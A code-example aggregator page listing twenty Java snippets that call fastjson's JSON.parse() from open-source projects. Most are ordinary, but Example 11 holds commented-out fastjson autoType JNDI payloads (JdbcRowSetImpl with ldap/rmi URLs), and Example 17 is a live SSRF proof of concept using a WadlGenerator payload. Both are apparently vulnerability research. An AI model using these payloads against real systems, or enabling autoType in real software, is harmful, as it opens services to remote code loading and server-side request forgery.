Java Code Examples for com.alibaba.fastjson.JSON#parse()

The following examples show how to use com.alibaba.fastjson.JSON#parse() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: ParamEncryptRequestBodyAdvice.java    From open-capacity-platform with Apache License 2.0 6 votes vote down vote up
public String easpString(String requestData) {
    if (requestData != null && !requestData.equals("")) {
        if (!requestData.contains("\"access_token\":")) {
        	
        	throw new RuntimeException("参数【access_token】缺失异常!");
        }else{
        	
        	Map maps = (Map)JSON.parse(requestData);  
        	
        	if("" ==maps.get("access_token") ){
        		throw new RuntimeException("参数【access_token】缺失异常!");
        	} else{
        		return   (String) maps.get("access_token" );
        	}
       }
        	
    } 
    return "" ;
}
 
Example 2
Source File: DESCoderTest.java    From web-sso with Apache License 2.0 6 votes vote down vote up
/**
 * 对加密解密性能测试。
 * @throws Exception 
 */
@Test
public void testPerformance() throws Exception{
	//获得秘钥
	Key key = DESCoder.initSecretKey("12345645");
	String data ="{id:1234,loginName:\"tianchen\",appId:123}";
	
	//检测加密时间。
	long s = System.currentTimeMillis();
	byte[] encryptData = DESCoder.encrypt(data.getBytes(), key);
	String enStr = Base64Coder.encryptBASE64(encryptData);
	long e = System.currentTimeMillis();
	System.out.println("encrypt time:"+(e-s));
	
	
	//检测解密时间。
	s = System.currentTimeMillis();
	byte[] decryptData = DESCoder.decrypt(Base64Coder.decryptBASE64(enStr), key);
	@SuppressWarnings({ "unused", "unchecked" })
	Map<String,Object> map = (Map<String, Object>) JSON.parse(new String(decryptData));;
	e = System.currentTimeMillis();
	System.out.println("decrypt time:"+(e-s));
}
 
Example 3
Source File: BaseClass.java    From BaiduPanApi-Java with MIT License 6 votes vote down vote up
protected CloseableHttpResponse checkLogin(CloseableHttpResponse closeableHttpResponse) throws IOException {
    HttpEntity bufferedHttpEntity = closeableHttpResponse.getEntity();
    String mimeString = ContentType.getOrDefault(bufferedHttpEntity).getMimeType();
    if(mimeString.contains("application/json") || mimeString.contains("text/html")) {
        String content = HttpClientHelper.getResponseString(closeableHttpResponse);
        System.out.println("checkLogin() content:"+content);
        try {
            JSONObject jsonObject = (JSONObject) JSON.parse(content);
            if (jsonObject.containsKey("errno") && String.valueOf(jsonObject.get("errno")).equals("-6")) {
                clearCookies();
                initiate();
            }
        } catch (Exception e) {
        }
    }
    return closeableHttpResponse;
}
 
Example 4
Source File: SysMessageTemplateController.java    From jeecg-boot with Apache License 2.0 6 votes vote down vote up
/**
 * 发送消息
 */
@PostMapping(value = "/sendMsg")
public Result<SysMessageTemplate> sendMessage(@RequestBody MsgParams msgParams) {
	Result<SysMessageTemplate> result = new Result<SysMessageTemplate>();
	Map<String, String> map = null;
	try {
		map = (Map<String, String>) JSON.parse(msgParams.getTestData());
	} catch (Exception e) {
		result.error500("解析Json出错!");
		return result;
	}
	boolean is_sendSuccess = pushMsgUtil.sendMessage(msgParams.getMsgType(), msgParams.getTemplateCode(), map, msgParams.getReceiver());
	if (is_sendSuccess) {
		result.success("发送消息任务添加成功!");
	} else {
		result.error500("发送消息任务添加失败!");
	}
	return result;
}
 
Example 5
Source File: ESSyncUtil.java    From canal with Apache License 2.0 6 votes vote down vote up
public static Object convertToEsObj(Object val, String fieldInfo) {
    if (val == null) {
        return null;
    }
    if (fieldInfo.startsWith("array:")) {
        String separator = fieldInfo.substring("array:".length()).trim();
        String[] values = val.toString().split(separator);
        return Arrays.asList(values);
    } else if (fieldInfo.startsWith("object")) {
        if (val instanceof String){
            return JSON.parse(val.toString());
        }
        return JSON.parse(new String((byte[])val));
    }
    return null;
}
 
Example 6
Source File: JsonFieldRender.java    From gecco with MIT License 6 votes vote down vote up
@Override
@SuppressWarnings({ "unchecked" })
public void render(HttpRequest request, HttpResponse response, BeanMap beanMap, SpiderBean bean) {
	Map<String, Object> fieldMap = new HashMap<String, Object>();
	Set<Field> jsonPathFields = ReflectionUtils.getAllFields(bean.getClass(), ReflectionUtils.withAnnotation(JSONPath.class));
	String jsonStr = response.getContent();
	jsonStr = jsonp2Json(jsonStr);
	if (jsonStr == null) {
		return;
	}
	try {
		Object json = JSON.parse(jsonStr);
		for (Field field : jsonPathFields) {
			Object value = injectJsonField(request, field, json);
			if(value != null) {
				fieldMap.put(field.getName(), value);
			}
		}
	} catch(JSONException ex) {
		//throw new RenderException(ex.getMessage(), bean.getClass());
		RenderException.log("json parse error : " + request.getUrl(), bean.getClass(), ex);
	}
	beanMap.putAll(fieldMap);
}
 
Example 7
Source File: DESCoderTest.java    From web-sso with Apache License 2.0 6 votes vote down vote up
@SuppressWarnings("unchecked")
@Test
public void test() throws Exception {
	
	//获得秘钥
	Key key = DESCoder.initSecretKey("12345645");
	
	String data ="{id:1234,loginName:\"tianchen\",appId:123}";
	
	System.out.println("en before :"+data);
	
	byte[] encryptData = DESCoder.encrypt(data.getBytes(), key);
	
	String enStr = Base64Coder.encryptBASE64(encryptData);
	System.out.println("en affter:"+enStr);
	
	byte[] decryptData = DESCoder.decrypt(Base64Coder.decryptBASE64(enStr), key);
	System.out.println("de affter:"+new String(decryptData));
	Map<String,Object> map = (Map<String, Object>) JSON.parse(new String(decryptData));;
	System.out.println(map);
}
 
Example 8
Source File: JsonStringfyTest.java    From sofa-lookout with Apache License 2.0 5 votes vote down vote up
@Test
public void testMeasurmentStringWithJsonParseException() {
    Registry reg = new DefaultRegistry();
    Id id = reg.createId("test");
    LookoutMeasurement m = new LookoutMeasurement(new Date(), id);
    m.addTag(
        "params",
        "\"LAZADA_USD_CNY_PRICE;USD/CNY;SPOT;6.1111;null;null;20180328;2018-03-28 17:58:21.135;2018-03-26 11:09:19.517;null;null;null;0;0;0;0;20180328000400130000000001294460;null;null;null;TODAY;null;null;?????;N;EXCORENC;N;1;Y;{\"lastExecContraAmt\":\"3.06\",\"lastExecContraCcy\":\"CNY\",\"requestedRateStatus\":\"QUALIFY\",\"tntInstId\":\"GNETW7CN\",\"valueDate\":\"20180327\"};null;null;null;null;LAZADA_PRICE;null;null;\"\n");
    JSON.parse(m.toString());
}
 
Example 9
Source File: MockGenericService.java    From dubbo-mock with Apache License 2.0 5 votes vote down vote up
@Override
public Object $invoke(String method, String[] parameterTypes, Object[] args) throws GenericException {
    MethodRule rule = rules.get(method);
    if (rule == null)
        return null;
    DataCountPointer countPointer = rule.getDataCountPointer();
    Map<String, Object> context = buildContext(method, parameterTypes, args, countPointer);
    String s = rule.resolve(context);
    return JSON.parse(s);
}
 
Example 10
Source File: JSONUtil.java    From client-sdk-java with Apache License 2.0 5 votes vote down vote up
/**
 * json string 转换为 map 对象
 *
 * @param json
 * @return
 */
public static Map<String, Object> jsonToMap(String json) {
    Map<String, Object> result = new HashMap<>();
    try {
        result = (Map<String, Object>) JSON.parse(json);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return result;
}
 
Example 11
Source File: TestPoc.java    From learnjavabug with MIT License 5 votes vote down vote up
public static void main(String[] args) {
//    MockHttpServletRequest mockReq = new MockHttpServletRequest();
//    DefaultSavedRequest request = new DefaultSavedRequest(mockReq, new PortResolver() {
//
//      public int getServerPort(ServletRequest servletRequest) {
//        return 0;
//      }
//    });
//
//    String str = JSON.toJSONString(request, SerializerFeature.WriteClassName);
//    System.out.println(str);

//      String str = "{\"rand1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"rand2\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:43658\",\"autoCommit\":true}";
//      String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43658\",\"autoCommit\":true}}";
//    String str = "{\"@type\":\"org.springframework.security.web.savedrequest.DefaultSavedRequest\",\"contextPath\": {\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\"}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//        String str = "{\"a\": {\"$ref\":\"$.class\"}}";
//        AAA aaa = JSON.parseObject(str, AAA.class);
//        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//        String str = "{\"a\": {\"$ref\": \"$.a\"}, \"b\": {\"$ref\": \"$.b\"}, \"c\": {\"$ref\": \"$.c\"}, \"d\": {\"$ref\": \"$.d\"}}";
//        JSON.parseObject(str, AAA.class);
//        AAA aaa = new AAA();
//        System.out.println(aaa.getA());
        String json = "{\"\"}";
        JSON.parse(json);
//    JSON.parseObject(str);
    }
 
Example 12
Source File: MessageAssistResource.java    From hermes with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("unchecked")
private Map<Integer, Offset> findOffsetFromMetaLeader(String host, int port, Map<String, String> params) {
	if (log.isDebugEnabled()) {
		log.debug("Proxy pass find-offset request to {}:{} (params={})", host, port, params);
	}
	try {
		URIBuilder uriBuilder = new URIBuilder()//
		      .setScheme("http")//
		      .setHost(host)//
		      .setPort(port)//
		      .setPath("/message/offset");

		if (params != null) {
			for (Map.Entry<String, String> entry : params.entrySet()) {
				uriBuilder.addParameter(entry.getKey(), entry.getValue());
			}
		}

		HttpResponse response = get(uriBuilder.build().toURL());

		if (response != null && response.getStatusCode() == HttpStatus.SC_OK && response.hasResponseContent()) {
			String responseContent = new String(response.getRespContent(), "UTF-8");
			if (!StringUtils.isBlank(responseContent)) {
				return (Map<Integer, Offset>) JSON.parse(responseContent);
			}
		} else {
			if (log.isDebugEnabled()) {
				log.debug("Response error while proxy passing to {}:{}(status={}}).", host, port,
				      response.getStatusCode());
			}
		}
	} catch (Exception e) {
		if (log.isDebugEnabled()) {
			log.debug("Failed to proxy pass to http://{}:{}.", host, port, e);
		}
	}
	return null;
}
 
Example 13
Source File: DataConverter.java    From mcg-helper with Apache License 2.0 5 votes vote down vote up
/**
 * 获取所有父级控件的运行值,将所有父级控件的key去掉,将value进行合并,若value中的key有相同的,则由后面控件运行值将覆盖前面控件运行值
 * @param elementId 当前组件的id
 * @param executeStruct 当前已执行的流程的组件
 * @return
 */
public static JSON getParentRunResultByValue(String elementId, ExecuteStruct executeStruct) {
	StringBuilder sb = new StringBuilder();
	sb.append("{");
	
	for(List<Order> orderList : executeStruct.getOrders().getOrder()) {
		for(Order order : orderList) {
			if(elementId.equals(order.getElementId())) {
				List<String> ids = order.getPid();
				if(!CollectionUtils.isEmpty(ids)) {
					for(int i=0; i<ids.size(); i++) {
						if(executeStruct.getRunResultMap().get(ids.get(i)) != null && executeStruct.getRunResultMap().get(ids.get(i)).getJsonVar() != null && !"".equals(executeStruct.getRunResultMap().get(ids.get(i)).getJsonVar())) {
							String jsonValue = executeStruct.getRunResultMap().get(ids.get(i)).getJsonVar().substring(1, executeStruct.getRunResultMap().get(ids.get(i)).getJsonVar().length()-1 );
							if(StringUtils.isNotEmpty(jsonValue)) {
								int start = jsonValue.indexOf("{") + 1;
								int end = jsonValue.lastIndexOf("}")-1;
								if(start <= end) {
									sb.append(jsonValue.substring(start, end));
								} else {
									sb.append("");
								}
								sb.append(",");
							}
						}
					}
					if(sb.length() >= 2) {
					    sb.deleteCharAt(sb.length()-1);
					}
				}
			}
		}
	}
	
	sb.append("}");		
	return  (JSON)JSON.parse(sb.toString());
}
 
Example 14
Source File: FastJsonRedisSerializer.java    From jeesupport with MIT License 5 votes vote down vote up
@Override
public T deserialize ( byte[] _data ) throws SerializationException {
    if ( null == _data || _data.length <= 0 ) {
        return null;
    }
    String str = new String( _data, DEFAULT_CHARSET );
    return ( T ) JSON.parse( str );
}
 
Example 15
Source File: WebUdfSource.java    From hasor with Apache License 2.0 5 votes vote down vote up
/** jsonBody */
public static Object jsonBody() {
    Invoker invoker = FxWebInterceptor.invoker();
    if (invoker == null) {
        return null;
    }
    return JSON.parse(invoker.getJsonBodyString());
}
 
Example 16
Source File: DocUploadController.java    From mumu with Apache License 2.0 5 votes vote down vote up
@ResponseBody
@RequestMapping(value = "/doc", method = RequestMethod.POST)
public Object doc(HttpServletRequest request) {
    try {
        String upload = HttpClientUtil.upload(web_url, uploadFile(request));
        System.out.println(upload);
        return JSON.parse(upload);
    }catch (Exception e){
        e.printStackTrace();
    }
    return null;
}
 
Example 17
Source File: ApacheCxfSSRFPoc.java    From learnjavabug with MIT License 5 votes vote down vote up
public static void main(String[] args) {
  ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  String payload = "{\"@type\":\"org.apache.cxf.jaxrs.model.wadl.WadlGenerator\",\"schemaLocations\": \"http://127.0.0.1:23234?a=1&b=22222\"}";
  try {
    JSON.parse(payload);
  } catch (Exception e) {
    e.printStackTrace();
  }
}
 
Example 18
Source File: DiffBundleInfoTask.java    From atlas with Apache License 2.0 4 votes vote down vote up
private Set<ArtifactBundleInfo> getArtifactBundleInfo(DependencyDiff dependencyDiff,
                                                      File mainfestFile,
                                                      File apDir) throws IOException, DocumentException {

    Set<ArtifactBundleInfo> artifactBundleInfos = new HashSet<ArtifactBundleInfo>();
    if (null == apDir) {
        throw new GradleException("No Ap dependency found!");
    }
    File apManifest = new File(apDir, "AndroidManifest.xml");
    String apVersion = null;
    try {
        apVersion = ManifestFileUtils.getVersionName(apManifest);
    } catch (Exception e) {
        throw new GradleException(e.getMessage(), e);
    }

    Map<String,String> tagMap = new HashMap<>();
    JSONObject jsonObject = (JSONObject)JSON.parse(FileUtils.readFileToString(new File(apDir, "atlasFrameworkProperties.json")));
    JSONArray jsonArray = jsonObject.getJSONArray("bundleInfo");
    for (JSONObject obj : jsonArray.toArray(new JSONObject[0])){
        tagMap.put(obj.getString("pkgName"), obj.getString("unique_tag"));
    }



    // 2. Add your own bundle
    AtlasDependencyTree atlasDependencyTree = AtlasBuildContext.androidDependencyTrees.get(
            appVariantOutputContext.getVariantContext().
                    getVariantConfiguration().getFullName());

    List<AwbBundle>modifyMbundles = new ArrayList<>();
    for (AwbBundle awbBundle : atlasDependencyTree.getAwbBundles()) {
        BundleInfo bundleInfo = awbBundle.bundleInfo;
        ArtifactBundleInfo awbBundleInfo = new ArtifactBundleInfo();
        awbBundleInfo.setMainBundle(false);
        awbBundleInfo.setDependency(newDependency(bundleInfo.getDependency(),appVariantOutputContext.getVariantContext()));
        awbBundleInfo.setPkgName(bundleInfo.getPkgName());
        awbBundleInfo.setApplicationName(bundleInfo.getApplicationName());
        awbBundleInfo.setArtifactId(awbBundle.getResolvedCoordinates().getArtifactId());
        awbBundleInfo.setName(bundleInfo.getName());
        //History bundle's tag todo
        awbBundleInfo.setSrcUnitTag(tagMap.get(bundleInfo.getPkgName()));
        awbBundleInfo.setUnitTag(bundleInfo.getUnique_tag());
        String version = bundleInfo.getVersion();
        if (version.indexOf("@") > 0) {
            String[] arr = version.split("@");
            version = arr[arr.length - 1];
        }
        awbBundleInfo.setVersion(version);

        //TODO
        bundleInfo.getUnique_tag();

        String libBundleName = getBundleName(awbBundle);
        if (dependencyDiff.getAwbDiffs().contains(libBundleName)) {
            if (dependencyDiff.getNewAwbs().contains(libBundleName)) {
                awbBundleInfo.setDiffType(DiffType.ADD);
            } else {
                awbBundleInfo.setDiffType(DiffType.MODIFY);
            }
        } else {
            awbBundleInfo.setDiffType(DiffType.NONE);
        }

        if (awbBundle.isMBundle) {
            if (awbBundleInfo.getDiffType() == DiffType.ADD || awbBundleInfo.getDiffType() == DiffType.MODIFY) {
                modifyMbundles.add(awbBundle);
            }
            continue;
        }

        artifactBundleInfos.add(awbBundleInfo);
    }

    // 1. First add the main bundle
    ArtifactBundleInfo mainBundleInfo = getMainArtifactBundInfo(mainfestFile);
    mainBundleInfo.setBaseVersion(apVersion);
    mainBundleInfo.setMainBundle(true);
    mainBundleInfo.setVersion(appVariantOutputContext.getVariantContext()
            .getVariantConfiguration()
            .getVersionName());
    if (dependencyDiff.getMainDexDiffs().size() > 0 || modifyMbundles.size() > 0) {
        mainBundleInfo.setDiffType(DiffType.MODIFY);
    } else {
        mainBundleInfo.setDiffType(DiffType.NONE);
    }

    mainBundleInfo.setSrcUnitTag(jsonObject.getString("unit_tag"));
    mainBundleInfo.setUnitTag(appVariantOutputContext.getVariantContext().unit_tag);

    artifactBundleInfos.add(mainBundleInfo);

    return artifactBundleInfos;
}
 
Example 19
Source File: LoginController.java    From gpmall with Apache License 2.0 4 votes vote down vote up
@GetMapping("/login")
public ResponseData checkLogin(HttpServletRequest request){
    String userInfo=(String)request.getAttribute(TokenIntercepter.USER_INFO_KEY);
    Object object=JSON.parse(userInfo);
    return new ResponseUtil().setData(object);
}
 
Example 20
Source File: JsonArrayNodeOperator.java    From DBus with Apache License 2.0 4 votes vote down vote up
@Override
public List<Map<String, Object>> convert(byte[] data) {
    return (List<Map<String, Object>>) JSON.parse(data);
}